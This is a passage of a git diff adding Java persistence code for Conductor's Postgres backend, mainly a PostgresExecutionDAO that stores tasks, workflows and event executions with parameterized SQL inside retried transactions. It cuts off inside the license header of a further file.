#getWithRetriedTransactions(TransactionalFunction)} with no return value. + * + *

    Generally this is used to wrap multiple {@link #execute(Connection, String, + * ExecuteFunction)} or {@link #query(Connection, String, QueryFunction)} invocations that + * produce no expected return value. + * + * @param consumer The {@link Consumer} callback to pass a transactional {@link Connection} to. + * @throws NonTransientException If any errors occur. + * @see #getWithRetriedTransactions(TransactionalFunction) + */ + protected void withTransaction(Consumer consumer) { + getWithRetriedTransactions( + connection -> { + consumer.accept(connection); + return null; + }); + } + + /** + * Initiate a new transaction and execute a {@link Query} within that context, then return the + * results of {@literal function}. + * + * @param query The query string to prepare. + * @param function The functional callback to pass a {@link Query} to. + * @param The expected return type of {@literal function}. + * @return The results of applying {@literal function}. + */ + protected R queryWithTransaction(String query, QueryFunction function) { + return getWithRetriedTransactions(tx -> query(tx, query, function)); + } + + /** + * Execute a {@link Query} within the context of a given transaction and return the results of + * {@literal function}. + * + * @param tx The transactional {@link Connection} to use. + * @param query The query string to prepare. + * @param function The functional callback to pass a {@link Query} to. + * @param The expected return type of {@literal function}. + * @return The results of applying {@literal function}. + */ + protected R query(Connection tx, String query, QueryFunction function) { + try (Query q = new Query(objectMapper, tx, query)) { + return function.apply(q); + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + /** + * Execute a statement with no expected return value within a given transaction. + * + * @param tx The transactional {@link Connection} to use. + * @param query The query string to prepare. + * @param function The functional callback to pass a {@link Query} to. + */ + protected void execute(Connection tx, String query, ExecuteFunction function) { + try (Query q = new Query(objectMapper, tx, query)) { + function.apply(q); + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + /** + * Instantiates a new transactional connection and invokes {@link #execute(Connection, String, + * ExecuteFunction)} + * + * @param query The query string to prepare. + * @param function The functional callback to pass a {@link Query} to. + */ + protected void executeWithTransaction(String query, ExecuteFunction function) { + withTransaction(tx -> execute(tx, query, function)); + } +} diff --git a/postgres-persistence/src/main/java/com/netflix/conductor/postgres/dao/PostgresExecutionDAO.java b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/dao/PostgresExecutionDAO.java new file mode 100644 index 0000000..32a5bb0 --- /dev/null +++ b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/dao/PostgresExecutionDAO.java @@ -0,0 +1,1032 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.dao; + +import java.sql.Connection; +import java.sql.Date; +import java.text.SimpleDateFormat; +import java.util.*; +import java.util.concurrent.Executors; +import java.util.concurrent.ScheduledExecutorService; +import java.util.concurrent.TimeUnit; +import java.util.stream.Collectors; + +import javax.sql.DataSource; + +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.common.metadata.events.EventExecution; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.core.utils.QueueUtils; +import com.netflix.conductor.dao.ConcurrentExecutionLimitDAO; +import com.netflix.conductor.dao.ExecutionDAO; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.dao.RateLimitingDAO; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; +import com.netflix.conductor.postgres.util.ExecutorsUtil; +import com.netflix.conductor.postgres.util.Query; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.annotations.VisibleForTesting; +import com.google.common.base.Preconditions; +import com.google.common.collect.Lists; +import jakarta.annotation.*; + +public class PostgresExecutionDAO extends PostgresBaseDAO + implements ExecutionDAO, RateLimitingDAO, ConcurrentExecutionLimitDAO { + + private final ScheduledExecutorService scheduledExecutorService; + private final QueueDAO queueDAO; + + public PostgresExecutionDAO( + RetryTemplate retryTemplate, + ObjectMapper objectMapper, + DataSource dataSource, + QueueDAO queueDAO) { + super(retryTemplate, objectMapper, dataSource); + this.queueDAO = queueDAO; + this.scheduledExecutorService = + Executors.newSingleThreadScheduledExecutor( + ExecutorsUtil.newNamedThreadFactory("postgres-execution-")); + } + + private static String dateStr(Long timeInMs) { + Date date = new Date(timeInMs); + return dateStr(date); + } + + private static String dateStr(Date date) { + SimpleDateFormat format = new SimpleDateFormat("yyyyMMdd"); + return format.format(date); + } + + @PreDestroy + public void destroy() { + try { + this.scheduledExecutorService.shutdown(); + if (scheduledExecutorService.awaitTermination(30, TimeUnit.SECONDS)) { + logger.debug("tasks completed, shutting down"); + } else { + logger.warn("Forcing shutdown after waiting for 30 seconds"); + scheduledExecutorService.shutdownNow(); + } + } catch (InterruptedException ie) { + logger.warn( + "Shutdown interrupted, invoking shutdownNow on scheduledExecutorService for removeWorkflowWithExpiry", + ie); + scheduledExecutorService.shutdownNow(); + Thread.currentThread().interrupt(); + } + } + + @Override + public List getPendingTasksByWorkflow(String taskDefName, String workflowId) { + // @formatter:off + String GET_IN_PROGRESS_TASKS_FOR_WORKFLOW = + "SELECT json_data FROM task_in_progress tip " + + "INNER JOIN task t ON t.task_id = tip.task_id " + + "WHERE task_def_name = ? AND workflow_id = ? FOR SHARE"; + // @formatter:on + + return queryWithTransaction( + GET_IN_PROGRESS_TASKS_FOR_WORKFLOW, + q -> + q.addParameter(taskDefName) + .addParameter(workflowId) + .executeAndFetch(TaskModel.class)); + } + + @Override + public List getTasks(String taskDefName, String startKey, int count) { + List tasks = new ArrayList<>(count); + + List pendingTasks = getPendingTasksForTaskType(taskDefName); + boolean startKeyFound = startKey == null; + int found = 0; + for (TaskModel pendingTask : pendingTasks) { + if (!startKeyFound) { + if (pendingTask.getTaskId().equals(startKey)) { + startKeyFound = true; + // noinspection ConstantConditions + if (startKey != null) { + continue; + } + } + } + if (startKeyFound && found < count) { + tasks.add(pendingTask); + found++; + } + } + + return tasks; + } + + private static String taskKey(TaskModel task) { + return task.getReferenceTaskName() + "_" + task.getRetryCount(); + } + + @Override + public List createTasks(List tasks) { + List created = Lists.newArrayListWithCapacity(tasks.size()); + + withTransaction( + connection -> { + for (TaskModel task : tasks) { + + validate(task); + + task.setScheduledTime(System.currentTimeMillis()); + + final String taskKey = taskKey(task); + + boolean scheduledTaskAdded = addScheduledTask(connection, task, taskKey); + + if (!scheduledTaskAdded) { + logger.trace( + "Task already scheduled, skipping the run " + + task.getTaskId() + + ", ref=" + + task.getReferenceTaskName() + + ", key=" + + taskKey); + continue; + } + + insertOrUpdateTaskData(connection, task); + addWorkflowToTaskMapping(connection, task); + addTaskInProgress(connection, task); + updateTask(connection, task); + + created.add(task); + } + }); + + return created; + } + + @Override + public void updateTask(TaskModel task) { + withTransaction(connection -> updateTask(connection, task)); + Optional taskDefinition = task.getTaskDefinition(); + if (taskDefinition.isPresent() + && taskDefinition.get().concurrencyLimit() > 0 + && task.getStatus() != null + && task.getStatus().isTerminal()) { + String queueName = QueueUtils.getQueueName(task); + List nextIds = queueDAO.peekFirstIds(queueName, 1); + if (nextIds != null && !nextIds.isEmpty()) { + logger.debug( + "Concurrency slot freed for {}, releasing postponed task {}", + task.getTaskDefName(), + nextIds.get(0)); + queueDAO.resetOffsetTime(queueName, nextIds.get(0)); + } + } + } + + /** + * This is a dummy implementation and this feature is not for Postgres backed Conductor + * + * @param task: which needs to be evaluated whether it is rateLimited or not + */ + @Override + public boolean exceedsRateLimitPerFrequency(TaskModel task, TaskDef taskDef) { + return false; + } + + @Override + public boolean exceedsLimit(TaskModel task) { + + Optional taskDefinition = task.getTaskDefinition(); + if (taskDefinition.isEmpty()) { + return false; + } + + TaskDef taskDef = taskDefinition.get(); + + int limit = taskDef.concurrencyLimit(); + if (limit <= 0) { + return false; + } + + long current = getInProgressTaskCount(task.getTaskDefName()); + + if (current >= limit) { + Monitors.recordTaskConcurrentExecutionLimited(task.getTaskDefName(), limit); + return true; + } + + logger.info( + "Task execution count for {}: limit={}, current={}", + task.getTaskDefName(), + limit, + getInProgressTaskCount(task.getTaskDefName())); + + String taskId = task.getTaskId(); + + List tasksInProgressInOrderOfArrival = + findAllTasksInProgressInOrderOfArrival(task, limit); + + boolean rateLimited = !tasksInProgressInOrderOfArrival.contains(taskId); + + if (rateLimited) { + logger.info( + "Task execution count limited. {}, limit {}, current {}", + task.getTaskDefName(), + limit, + getInProgressTaskCount(task.getTaskDefName())); + Monitors.recordTaskConcurrentExecutionLimited(task.getTaskDefName(), limit); + } + + return rateLimited; + } + + @Override + public boolean removeTask(String taskId) { + TaskModel task = getTask(taskId); + + if (task == null) { + logger.warn("No such task found by id {}", taskId); + return false; + } + + final String taskKey = taskKey(task); + + withTransaction( + connection -> { + removeScheduledTask(connection, task, taskKey); + removeWorkflowToTaskMapping(connection, task); + removeTaskInProgress(connection, task); + removeTaskData(connection, task); + }); + return true; + } + + @Override + public TaskModel getTask(String taskId) { + String GET_TASK = "SELECT json_data FROM task WHERE task_id = ?"; + return queryWithTransaction( + GET_TASK, q -> q.addParameter(taskId).executeAndFetchFirst(TaskModel.class)); + } + + @Override + public List getTasks(List taskIds) { + if (taskIds.isEmpty()) { + return Lists.newArrayList(); + } + return getWithRetriedTransactions(c -> getTasks(c, taskIds)); + } + + @Override + public List getPendingTasksForTaskType(String taskName) { + Preconditions.checkNotNull(taskName, "task name cannot be null"); + // @formatter:off + String GET_IN_PROGRESS_TASKS_FOR_TYPE = + "SELECT json_data FROM task_in_progress tip " + + "INNER JOIN task t ON t.task_id = tip.task_id " + + "WHERE task_def_name = ? FOR UPDATE SKIP LOCKED"; + // @formatter:on + + return queryWithTransaction( + GET_IN_PROGRESS_TASKS_FOR_TYPE, + q -> q.addParameter(taskName).executeAndFetch(TaskModel.class)); + } + + @Override + public List getTasksForWorkflow(String workflowId) { + String GET_TASKS_FOR_WORKFLOW = + "SELECT task_id FROM workflow_to_task WHERE workflow_id = ? FOR SHARE"; + return getWithRetriedTransactions( + tx -> + query( + tx, + GET_TASKS_FOR_WORKFLOW, + q -> { + List taskIds = + q.addParameter(workflowId) + .executeScalarList(String.class); + return getTasks(tx, taskIds); + })); + } + + @Override + public String createWorkflow(WorkflowModel workflow) { + return insertOrUpdateWorkflow(workflow, false); + } + + @Override + public String updateWorkflow(WorkflowModel workflow) { + return insertOrUpdateWorkflow(workflow, true); + } + + @Override + public boolean removeWorkflow(String workflowId) { + boolean removed = false; + WorkflowModel workflow = getWorkflow(workflowId, true); + if (workflow != null) { + withTransaction( + connection -> { + removeWorkflowDefToWorkflowMapping(connection, workflow); + removeWorkflow(connection, workflowId); + removePendingWorkflow(connection, workflow.getWorkflowName(), workflowId); + }); + removed = true; + + for (TaskModel task : workflow.getTasks()) { + if (!removeTask(task.getTaskId())) { + removed = false; + } + } + } + return removed; + } + + /** Scheduled executor based implementation. */ + @Override + public boolean removeWorkflowWithExpiry(String workflowId, int ttlSeconds) { + scheduledExecutorService.schedule( + () -> { + try { + removeWorkflow(workflowId); + } catch (Throwable e) { + logger.warn("Unable to remove workflow: {} with expiry", workflowId, e); + } + }, + ttlSeconds, + TimeUnit.SECONDS); + + return true; + } + + @Override + public void removeFromPendingWorkflow(String workflowType, String workflowId) { + withTransaction(connection -> removePendingWorkflow(connection, workflowType, workflowId)); + } + + @Override + public WorkflowModel getWorkflow(String workflowId) { + return getWorkflow(workflowId, true); + } + + @Override + public WorkflowModel getWorkflow(String workflowId, boolean includeTasks) { + WorkflowModel workflow = getWithRetriedTransactions(tx -> readWorkflow(tx, workflowId)); + + if (workflow != null) { + if (includeTasks) { + List tasks = getTasksForWorkflow(workflowId); + tasks.sort(Comparator.comparingInt(TaskModel::getSeq)); + workflow.setTasks(tasks); + } + } + return workflow; + } + + /** + * @param workflowName name of the workflow + * @param version the workflow version + * @return list of workflow ids that are in RUNNING state returns workflows of all versions + * for the given workflow name + */ + @Override + public List getRunningWorkflowIds(String workflowName, int version) { + Preconditions.checkNotNull(workflowName, "workflowName cannot be null"); + String GET_PENDING_WORKFLOW_IDS = + "SELECT workflow_id FROM workflow_pending WHERE workflow_type = ? FOR SHARE SKIP LOCKED"; + + return queryWithTransaction( + GET_PENDING_WORKFLOW_IDS, + q -> q.addParameter(workflowName).executeScalarList(String.class)); + } + + /** + * @param workflowName Name of the workflow + * @param version the workflow version + * @return list of workflows that are in RUNNING state + */ + @Override + public List getPendingWorkflowsByType(String workflowName, int version) { + Preconditions.checkNotNull(workflowName, "workflowName cannot be null"); + return getRunningWorkflowIds(workflowName, version).stream() + .map(this::getWorkflow) + .filter(workflow -> workflow.getWorkflowVersion() == version) + .collect(Collectors.toList()); + } + + @Override + public long getPendingWorkflowCount(String workflowName) { + Preconditions.checkNotNull(workflowName, "workflowName cannot be null"); + String GET_PENDING_WORKFLOW_COUNT = + "SELECT COUNT(*) FROM workflow_pending WHERE workflow_type = ?"; + + return queryWithTransaction( + GET_PENDING_WORKFLOW_COUNT, q -> q.addParameter(workflowName).executeCount()); + } + + @Override + public long getInProgressTaskCount(String taskDefName) { + String GET_IN_PROGRESS_TASK_COUNT = + "SELECT COUNT(*) FROM task_in_progress WHERE task_def_name = ? AND in_progress_status = true"; + + return queryWithTransaction( + GET_IN_PROGRESS_TASK_COUNT, q -> q.addParameter(taskDefName).executeCount()); + } + + @Override + public List getWorkflowsByType( + String workflowName, Long startTime, Long endTime) { + Preconditions.checkNotNull(workflowName, "workflowName cannot be null"); + Preconditions.checkNotNull(startTime, "startTime cannot be null"); + Preconditions.checkNotNull(endTime, "endTime cannot be null"); + + List workflows = new LinkedList<>(); + + withTransaction( + tx -> { + // @formatter:off + String GET_ALL_WORKFLOWS_FOR_WORKFLOW_DEF = + "SELECT workflow_id FROM workflow_def_to_workflow " + + "WHERE workflow_def = ? AND date_str BETWEEN ? AND ? FOR SHARE SKIP LOCKED"; + // @formatter:on + + List workflowIds = + query( + tx, + GET_ALL_WORKFLOWS_FOR_WORKFLOW_DEF, + q -> + q.addParameter(workflowName) + .addParameter(dateStr(startTime)) + .addParameter(dateStr(endTime)) + .executeScalarList(String.class)); + workflowIds.forEach( + workflowId -> { + try { + WorkflowModel wf = getWorkflow(workflowId); + if (wf.getCreateTime() >= startTime + && wf.getCreateTime() <= endTime) { + workflows.add(wf); + } + } catch (Exception e) { + logger.error( + "Unable to load workflow id {} with name {}", + workflowId, + workflowName, + e); + } + }); + }); + + return workflows; + } + + @Override + public List getWorkflowsByCorrelationId( + String workflowName, String correlationId, boolean includeTasks) { + Preconditions.checkNotNull(correlationId, "correlationId cannot be null"); + String GET_WORKFLOWS_BY_CORRELATION_ID = + "SELECT w.json_data FROM workflow w left join workflow_def_to_workflow wd on w.workflow_id = wd.workflow_id WHERE w.correlation_id = ? and wd.workflow_def = ? FOR SHARE SKIP LOCKED"; + + return queryWithTransaction( + GET_WORKFLOWS_BY_CORRELATION_ID, + q -> + q.addParameter(correlationId) + .addParameter(workflowName) + .executeAndFetch(WorkflowModel.class)); + } + + @Override + public boolean canSearchAcrossWorkflows() { + return true; + } + + @Override + public boolean addEventExecution(EventExecution eventExecution) { + try { + return getWithRetriedTransactions(tx -> insertEventExecution(tx, eventExecution)); + } catch (Exception e) { + throw new NonTransientException( + "Unable to add event execution " + eventExecution.getId(), e); + } + } + + @Override + public void removeEventExecution(EventExecution eventExecution) { + try { + withTransaction(tx -> removeEventExecution(tx, eventExecution)); + } catch (Exception e) { + throw new NonTransientException( + "Unable to remove event execution " + eventExecution.getId(), e); + } + } + + @Override + public void updateEventExecution(EventExecution eventExecution) { + try { + withTransaction(tx -> updateEventExecution(tx, eventExecution)); + } catch (Exception e) { + throw new NonTransientException( + "Unable to update event execution " + eventExecution.getId(), e); + } + } + + public List getEventExecutions( + String eventHandlerName, String eventName, String messageId, int max) { + try { + List executions = Lists.newLinkedList(); + withTransaction( + tx -> { + for (int i = 0; i < max; i++) { + String executionId = + messageId + "_" + + i; // see SimpleEventProcessor.handle to understand + // how the + // execution id is set + EventExecution ee = + readEventExecution( + tx, + eventHandlerName, + eventName, + messageId, + executionId); + if (ee == null) { + break; + } + executions.add(ee); + } + }); + return executions; + } catch (Exception e) { + String message = + String.format( + "Unable to get event executions for eventHandlerName=%s, eventName=%s, messageId=%s", + eventHandlerName, eventName, messageId); + throw new NonTransientException(message, e); + } + } + + private List getTasks(Connection connection, List taskIds) { + if (taskIds.isEmpty()) { + return Lists.newArrayList(); + } + + // Generate a formatted query string with a variable number of bind params based + // on taskIds.size() + final String GET_TASKS_FOR_IDS = + String.format( + "SELECT json_data FROM task WHERE task_id IN (%s) AND json_data IS NOT NULL", + Query.generateInBindings(taskIds.size())); + + return query( + connection, + GET_TASKS_FOR_IDS, + q -> q.addParameters(taskIds).executeAndFetch(TaskModel.class)); + } + + private String insertOrUpdateWorkflow(WorkflowModel workflow, boolean update) { + Preconditions.checkNotNull(workflow, "workflow object cannot be null"); + + boolean terminal = workflow.getStatus().isTerminal(); + + List tasks = workflow.getTasks(); + workflow.setTasks(Lists.newLinkedList()); + + withTransaction( + tx -> { + if (!update) { + addWorkflow(tx, workflow); + addWorkflowDefToWorkflowMapping(tx, workflow); + } else { + updateWorkflow(tx, workflow); + } + + if (terminal) { + removePendingWorkflow( + tx, workflow.getWorkflowName(), workflow.getWorkflowId()); + } else { + addPendingWorkflow( + tx, workflow.getWorkflowName(), workflow.getWorkflowId()); + } + }); + + workflow.setTasks(tasks); + return workflow.getWorkflowId(); + } + + private void updateTask(Connection connection, TaskModel task) { + Optional taskDefinition = task.getTaskDefinition(); + + if (taskDefinition.isPresent() && taskDefinition.get().concurrencyLimit() > 0) { + boolean inProgress = + task.getStatus() != null + && task.getStatus().equals(TaskModel.Status.IN_PROGRESS); + updateInProgressStatus(connection, task, inProgress); + } + + insertOrUpdateTaskData(connection, task); + + if (task.getStatus() != null && task.getStatus().isTerminal()) { + removeTaskInProgress(connection, task); + } + + addWorkflowToTaskMapping(connection, task); + } + + private WorkflowModel readWorkflow(Connection connection, String workflowId) { + String GET_WORKFLOW = "SELECT json_data FROM workflow WHERE workflow_id = ?"; + + return query( + connection, + GET_WORKFLOW, + q -> q.addParameter(workflowId).executeAndFetchFirst(WorkflowModel.class)); + } + + private void addWorkflow(Connection connection, WorkflowModel workflow) { + String INSERT_WORKFLOW = + "INSERT INTO workflow (workflow_id, correlation_id, json_data) VALUES (?, ?, ?)"; + + execute( + connection, + INSERT_WORKFLOW, + q -> + q.addParameter(workflow.getWorkflowId()) + .addParameter(workflow.getCorrelationId()) + .addJsonParameter(workflow) + .executeUpdate()); + } + + private void updateWorkflow(Connection connection, WorkflowModel workflow) { + String UPDATE_WORKFLOW = + "UPDATE workflow SET json_data = ?, modified_on = CURRENT_TIMESTAMP WHERE workflow_id = ?"; + + execute( + connection, + UPDATE_WORKFLOW, + q -> + q.addJsonParameter(workflow) + .addParameter(workflow.getWorkflowId()) + .executeUpdate()); + } + + private void removeWorkflow(Connection connection, String workflowId) { + String REMOVE_WORKFLOW = "DELETE FROM workflow WHERE workflow_id = ?"; + execute(connection, REMOVE_WORKFLOW, q -> q.addParameter(workflowId).executeDelete()); + } + + private void addPendingWorkflow(Connection connection, String workflowType, String workflowId) { + + String EXISTS_PENDING_WORKFLOW = + "SELECT EXISTS(SELECT 1 FROM workflow_pending WHERE workflow_type = ? AND workflow_id = ?)"; + + boolean exists = + query( + connection, + EXISTS_PENDING_WORKFLOW, + q -> q.addParameter(workflowType).addParameter(workflowId).exists()); + + if (!exists) { + String INSERT_PENDING_WORKFLOW = + "INSERT INTO workflow_pending (workflow_type, workflow_id) VALUES (?, ?) ON CONFLICT (workflow_type,workflow_id) DO NOTHING"; + + execute( + connection, + INSERT_PENDING_WORKFLOW, + q -> q.addParameter(workflowType).addParameter(workflowId).executeUpdate()); + } + } + + private void removePendingWorkflow( + Connection connection, String workflowType, String workflowId) { + String REMOVE_PENDING_WORKFLOW = + "DELETE FROM workflow_pending WHERE workflow_type = ? AND workflow_id = ?"; + + execute( + connection, + REMOVE_PENDING_WORKFLOW, + q -> q.addParameter(workflowType).addParameter(workflowId).executeDelete()); + } + + private void insertOrUpdateTaskData(Connection connection, TaskModel task) { + /* + * Most times the row will be updated so let's try the update first. This used to be an 'INSERT/ON CONFLICT do update' sql statement. The problem with that + * is that if we try the INSERT first, the sequence will be increased even if the ON CONFLICT happens. + */ + String UPDATE_TASK = + "UPDATE task SET json_data=?, modified_on=CURRENT_TIMESTAMP WHERE task_id=?"; + int rowsUpdated = + query( + connection, + UPDATE_TASK, + q -> + q.addJsonParameter(task) + .addParameter(task.getTaskId()) + .executeUpdate()); + + if (rowsUpdated == 0) { + String INSERT_TASK = + "INSERT INTO task (task_id, json_data, modified_on) VALUES (?, ?, CURRENT_TIMESTAMP) ON CONFLICT (task_id) DO UPDATE SET json_data=excluded.json_data, modified_on=excluded.modified_on"; + execute( + connection, + INSERT_TASK, + q -> q.addParameter(task.getTaskId()).addJsonParameter(task).executeUpdate()); + } + } + + private void removeTaskData(Connection connection, TaskModel task) { + String REMOVE_TASK = "DELETE FROM task WHERE task_id = ?"; + execute(connection, REMOVE_TASK, q -> q.addParameter(task.getTaskId()).executeDelete()); + } + + private void addWorkflowToTaskMapping(Connection connection, TaskModel task) { + + String EXISTS_WORKFLOW_TO_TASK = + "SELECT EXISTS(SELECT 1 FROM workflow_to_task WHERE workflow_id = ? AND task_id = ?)"; + + boolean exists = + query( + connection, + EXISTS_WORKFLOW_TO_TASK, + q -> + q.addParameter(task.getWorkflowInstanceId()) + .addParameter(task.getTaskId()) + .exists()); + + if (!exists) { + String INSERT_WORKFLOW_TO_TASK = + "INSERT INTO workflow_to_task (workflow_id, task_id) VALUES (?, ?) ON CONFLICT (workflow_id,task_id) DO NOTHING"; + + execute( + connection, + INSERT_WORKFLOW_TO_TASK, + q -> + q.addParameter(task.getWorkflowInstanceId()) + .addParameter(task.getTaskId()) + .executeUpdate()); + } + } + + private void removeWorkflowToTaskMapping(Connection connection, TaskModel task) { + String REMOVE_WORKFLOW_TO_TASK = + "DELETE FROM workflow_to_task WHERE workflow_id = ? AND task_id = ?"; + + execute( + connection, + REMOVE_WORKFLOW_TO_TASK, + q -> + q.addParameter(task.getWorkflowInstanceId()) + .addParameter(task.getTaskId()) + .executeDelete()); + } + + private void addWorkflowDefToWorkflowMapping(Connection connection, WorkflowModel workflow) { + String INSERT_WORKFLOW_DEF_TO_WORKFLOW = + "INSERT INTO workflow_def_to_workflow (workflow_def, date_str, workflow_id) VALUES (?, ?, ?)"; + + execute( + connection, + INSERT_WORKFLOW_DEF_TO_WORKFLOW, + q -> + q.addParameter(workflow.getWorkflowName()) + .addParameter(dateStr(workflow.getCreateTime())) + .addParameter(workflow.getWorkflowId()) + .executeUpdate()); + } + + private void removeWorkflowDefToWorkflowMapping(Connection connection, WorkflowModel workflow) { + String REMOVE_WORKFLOW_DEF_TO_WORKFLOW = + "DELETE FROM workflow_def_to_workflow WHERE workflow_def = ? AND date_str = ? AND workflow_id = ?"; + + execute( + connection, + REMOVE_WORKFLOW_DEF_TO_WORKFLOW, + q -> + q.addParameter(workflow.getWorkflowName()) + .addParameter(dateStr(workflow.getCreateTime())) + .addParameter(workflow.getWorkflowId()) + .executeUpdate()); + } + + @VisibleForTesting + boolean addScheduledTask(Connection connection, TaskModel task, String taskKey) { + + final String EXISTS_SCHEDULED_TASK = + "SELECT EXISTS(SELECT 1 FROM task_scheduled where workflow_id = ? AND task_key = ?)"; + + boolean exists = + query( + connection, + EXISTS_SCHEDULED_TASK, + q -> + q.addParameter(task.getWorkflowInstanceId()) + .addParameter(taskKey) + .exists()); + + if (!exists) { + final String INSERT_IGNORE_SCHEDULED_TASK = + "INSERT INTO task_scheduled (workflow_id, task_key, task_id) VALUES (?, ?, ?) ON CONFLICT (workflow_id,task_key) DO NOTHING"; + + int count = + query( + connection, + INSERT_IGNORE_SCHEDULED_TASK, + q -> + q.addParameter(task.getWorkflowInstanceId()) + .addParameter(taskKey) + .addParameter(task.getTaskId()) + .executeUpdate()); + return count > 0; + } else { + return false; + } + } + + private void removeScheduledTask(Connection connection, TaskModel task, String taskKey) { + String REMOVE_SCHEDULED_TASK = + "DELETE FROM task_scheduled WHERE workflow_id = ? AND task_key = ?"; + execute( + connection, + REMOVE_SCHEDULED_TASK, + q -> + q.addParameter(task.getWorkflowInstanceId()) + .addParameter(taskKey) + .executeDelete()); + } + + private void addTaskInProgress(Connection connection, TaskModel task) { + String EXISTS_IN_PROGRESS_TASK = + "SELECT EXISTS(SELECT 1 FROM task_in_progress WHERE task_def_name = ? AND task_id = ?)"; + + boolean exists = + query( + connection, + EXISTS_IN_PROGRESS_TASK, + q -> + q.addParameter(task.getTaskDefName()) + .addParameter(task.getTaskId()) + .exists()); + + if (!exists) { + String INSERT_IN_PROGRESS_TASK = + "INSERT INTO task_in_progress (task_def_name, task_id, workflow_id) VALUES (?, ?, ?)"; + + execute( + connection, + INSERT_IN_PROGRESS_TASK, + q -> + q.addParameter(task.getTaskDefName()) + .addParameter(task.getTaskId()) + .addParameter(task.getWorkflowInstanceId()) + .executeUpdate()); + } + } + + private void removeTaskInProgress(Connection connection, TaskModel task) { + String REMOVE_IN_PROGRESS_TASK = + "DELETE FROM task_in_progress WHERE task_def_name = ? AND task_id = ?"; + + execute( + connection, + REMOVE_IN_PROGRESS_TASK, + q -> + q.addParameter(task.getTaskDefName()) + .addParameter(task.getTaskId()) + .executeUpdate()); + } + + private void updateInProgressStatus(Connection connection, TaskModel task, boolean inProgress) { + String UPDATE_IN_PROGRESS_TASK_STATUS = + "UPDATE task_in_progress SET in_progress_status = ?, modified_on = CURRENT_TIMESTAMP " + + "WHERE task_def_name = ? AND task_id = ?"; + + execute( + connection, + UPDATE_IN_PROGRESS_TASK_STATUS, + q -> + q.addParameter(inProgress) + .addParameter(task.getTaskDefName()) + .addParameter(task.getTaskId()) + .executeUpdate()); + } + + private boolean insertEventExecution(Connection connection, EventExecution eventExecution) { + + String INSERT_EVENT_EXECUTION = + "INSERT INTO event_execution (event_handler_name, event_name, message_id, execution_id, json_data) " + + "VALUES (?, ?, ?, ?, ?) " + + "ON CONFLICT DO NOTHING"; + int count = + query( + connection, + INSERT_EVENT_EXECUTION, + q -> + q.addParameter(eventExecution.getName()) + .addParameter(eventExecution.getEvent()) + .addParameter(eventExecution.getMessageId()) + .addParameter(eventExecution.getId()) + .addJsonParameter(eventExecution) + .executeUpdate()); + return count > 0; + } + + private void updateEventExecution(Connection connection, EventExecution eventExecution) { + // @formatter:off + String UPDATE_EVENT_EXECUTION = + "UPDATE event_execution SET " + + "json_data = ?, " + + "modified_on = CURRENT_TIMESTAMP " + + "WHERE event_handler_name = ? " + + "AND event_name = ? " + + "AND message_id = ? " + + "AND execution_id = ?"; + // @formatter:on + + execute( + connection, + UPDATE_EVENT_EXECUTION, + q -> + q.addJsonParameter(eventExecution) + .addParameter(eventExecution.getName()) + .addParameter(eventExecution.getEvent()) + .addParameter(eventExecution.getMessageId()) + .addParameter(eventExecution.getId()) + .executeUpdate()); + } + + private void removeEventExecution(Connection connection, EventExecution eventExecution) { + String REMOVE_EVENT_EXECUTION = + "DELETE FROM event_execution " + + "WHERE event_handler_name = ? " + + "AND event_name = ? " + + "AND message_id = ? " + + "AND execution_id = ?"; + + execute( + connection, + REMOVE_EVENT_EXECUTION, + q -> + q.addParameter(eventExecution.getName()) + .addParameter(eventExecution.getEvent()) + .addParameter(eventExecution.getMessageId()) + .addParameter(eventExecution.getId()) + .executeUpdate()); + } + + private EventExecution readEventExecution( + Connection connection, + String eventHandlerName, + String eventName, + String messageId, + String executionId) { + // @formatter:off + String GET_EVENT_EXECUTION = + "SELECT json_data FROM event_execution " + + "WHERE event_handler_name = ? " + + "AND event_name = ? " + + "AND message_id = ? " + + "AND execution_id = ?"; + // @formatter:on + return query( + connection, + GET_EVENT_EXECUTION, + q -> + q.addParameter(eventHandlerName) + .addParameter(eventName) + .addParameter(messageId) + .addParameter(executionId) + .executeAndFetchFirst(EventExecution.class)); + } + + private List findAllTasksInProgressInOrderOfArrival(TaskModel task, int limit) { + String GET_IN_PROGRESS_TASKS_WITH_LIMIT = + "SELECT task_id FROM task_in_progress WHERE task_def_name = ? ORDER BY created_on LIMIT ?"; + + return queryWithTransaction( + GET_IN_PROGRESS_TASKS_WITH_LIMIT, + q -> + q.addParameter(task.getTaskDefName()) + .addParameter(limit) + .executeScalarList(String.class)); + } + + private void validate(TaskModel task) { + Preconditions.checkNotNull(task, "task object cannot be null"); + Preconditions.checkNotNull(task.getTaskId(), "Task id cannot be null"); + Preconditions.checkNotNull( + task.getWorkflowInstanceId(), "Workflow instance id cannot be null"); + Preconditions.checkNotNull( + task.getReferenceTaskName(), "Task reference name cannot be null"); + } +} diff --git a/postgres-persistence/src/main/java/com/netflix/conductor/postgres/dao/PostgresIndexDAO.java b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/dao/PostgresIndexDAO.java new file mode 100644 index 0000000..4f07c2b --- /dev/null +++ b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/dao/PostgresIndexDAO.java @@ -0,0 +1,386 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

